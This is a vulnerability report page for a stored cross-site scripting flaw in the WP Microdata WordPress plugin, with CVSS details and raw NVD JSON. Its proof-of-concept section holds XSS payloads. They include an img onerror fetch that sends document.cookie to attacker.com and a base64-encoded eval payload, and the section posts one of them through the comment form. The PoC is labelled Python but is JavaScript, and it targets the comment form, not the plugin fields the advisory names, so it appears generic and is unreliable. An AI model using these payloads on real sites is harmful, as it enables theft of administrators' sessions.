Security Vulnerability Report
中文
CVE-2025-62901 CVSS 6.5 MEDIUM

CVE-2025-62901

Published: 2025-12-21 22:15:48
Last Modified: 2026-04-23 15:34:45

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tormorten WP Microdata wp-microdata allows Stored XSS.This issue affects WP Microdata: from n/a through <= 1.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Microdata <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62901 PoC - WP Microdata Stored XSS // This PoC demonstrates how to inject malicious JavaScript through plugin input fields // Payload 1: Basic script injection var payload1 = '<script>console.log(document.cookie)</script>'; // Payload 2: Event handler based XSS (more reliable) var payload2 = '<img src=x onerror="fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\\/">'; // Payload 3: SVG-based injection var payload3 = '<svg onload="eval(atob(\"YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\"))">'; // Example: Submitting the malicious payload via WordPress comment form fetch(window.location.origin + '/wp-comments-post.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'comment=' + encodeURIComponent(payload2) + '&author=test&submit=Submit' }); // When admin views the comment, the JavaScript executes and sends cookies to attacker

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62901", "sourceIdentifier": "[email protected]", "published": "2025-12-21T22:15:48.487", "lastModified": "2026-04-23T15:34:44.780", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tormorten WP Microdata wp-microdata allows Stored XSS.This issue affects WP Microdata: from n/a through <= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-microdata/vulnerability/wordpress-wp-microdata-plugin-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}